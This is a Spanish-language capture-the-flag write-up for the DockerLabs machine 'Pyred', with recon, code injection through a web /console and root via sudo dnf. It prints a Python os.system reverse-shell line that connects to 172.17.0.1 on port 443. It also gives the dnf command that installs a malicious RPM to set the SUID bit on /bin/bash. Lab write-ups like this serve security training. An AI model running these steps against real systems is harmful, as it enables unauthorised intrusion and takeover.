romabri@home:~$

Pyred - DockerLabs

OS Dificultad Creator
Linux Medio ElPinguinoDeMario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo. Descubrimos que el puerto 5000 estaba activo, lo que generalmente se asocia con aplicaciones web.

imagen

Exploración Web

Procedimos a explorar la interfaz web accesible a través del puerto 5000.

imagen

La página parecía permitir la inyección de código Python, aunque inicialmente no encontramos nada destacable. Sin embargo, utilizando la herramienta Gobuster, identificamos un directorio interesante llamado /console.

imagen

Obtención de Acceso

Decidimos explotar la posibilidad de inyectar código Python para obtener una reverse shell. Ejecutamos el siguiente código desde la consola disponible en la web:

import os
os.system("bin/bash -i >& /dev/tcp/172.17.0.1/443 0>&1")

Con éxito, obtuvimos una reverse shell en el sistema.

imagen

Una vez dentro, ejecutamos sudo -l para ver los permisos del usuario actual.

imagen

Observamos que el usuario tenía permisos para ejecutar dnf como superusuario sin contraseña.

Escalada de Privilegios

Para explotar este privilegio, procedimos a crear un paquete RPM malicioso en nuestra máquina atacante que modificaría los permisos de /bin/bash para establecer el bit SUID.

imagen

Después de crear el archivo paq.rpm, configuramos un servidor HTTP simple con Python para compartir el archivo y lo descargamos en el sistema objetivo usando curl.

imagen

Instalamos el paquete malicioso en el sistema objetivo con el siguiente comando:

bash

sudo -u root /usr/bin/dnf install -y paq.rpm

imagen

Tras la instalación, verificamos si el bit SUID había sido correctamente configurado en /bin/bash.

imagen

Con éxito, logramos escalar privilegios a root.

Ya somos root.